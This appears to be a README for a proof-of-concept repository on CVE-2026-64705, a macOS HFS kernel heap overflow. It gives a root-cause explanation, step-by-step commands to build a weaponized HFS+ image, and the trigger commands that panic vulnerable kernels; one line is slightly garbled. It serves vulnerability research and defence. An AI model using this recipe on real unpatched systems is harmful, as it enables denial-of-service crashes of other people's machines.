
Root-cause analysis and proof-of-concept for CVE-2026-64705, a macOS HFS xattr kernel heap overflow. Includes weaponized HFS+ image, patcher, parser, and detailed writeup for educational and defensive research.
Root-cause analysis and proof-of-concept for CVE-2026-64705, a buffer overflow in the HFS kernel extension fixed in macOS Sonoma 14.8.7 (HT127117):
HFS — Impact: An app may be able to cause unexpected system termination or write kernel memory. A buffer overflow was addressed with improved bounds checking.
The PoC is a weaponized HFS+ disk image. Mounting it and reading a crafted
extended attribute drives the HFS kext into an unbounded 64-byte bcopy loop
into a 512-byte kernel heap buffer → kernel heap overflow with attacker
controlled on-disk content → panic on vulnerable builds. Crash/panic tier —
not RCE.
adds/b.hs carry
checks, zero-count termination, and total==0 / total>expected rejectionhfs_setxattr: %s has a malformed overflow extent, same for getxattr.| file | what |
|---|---|
poc-cve-2026-64705.dmg | Weaponized 32 MB HFS+ image (trigger file + crafted xattr records) |
weaponize.py | The patcher that built the image — re-derives every offset from the image itself; works on any compatible base image |
parse_attr.py | Attributes B-tree parser used to locate/dump the xattr records |
BUILD.md | Full build recipe from a clean base image + the exact hex deltas |
WRITEUP.md | Root-cause analysis: kext diff (14.8.5 vs 14.8.7), vulnerable loop, mechanism |
On a pre-fix system (or a sacrificial VM — this panics the kernel):
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt # kernel heap overflow -> panic
On a patched system the same image mounts fine and the trigger is rejected by the new validator — you can watch the differential proof in the kernel log:
hfs_getxattr: bigattr has a malformed overflow extent
which also confirms the crafted record drives execution exactly into the patched (and formerly vulnerable) walk.
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py # -> poc-cve-2026-64705.dmg
For a large xattr stored as kHFSPlusAttrForkData, hfs_getxattr_internal
(and the mirrored hfs_setxattr_internal) walks the 8 extent descriptors of
the overflow record. count_extent_blocks() skips any descriptor whose
blockCount exceeds the expected total and returns the 32-bit sum with no
carry or zero check. If every blockCount exceeds the total, the count comes
back 0, blkcnt never advances, and the while (blkcnt < totalblocks) loop
keeps copying 64 attacker-controlled bytes per iteration past a
totalblocks*8-byte heap buffer. The integer-wrap variant (blockCounts summing
past 2^32) is the same missing check; the 14.8.7 patch kills both.
For educational and defensive research purposes. The bug is patched in current macOS; test only on machines you own.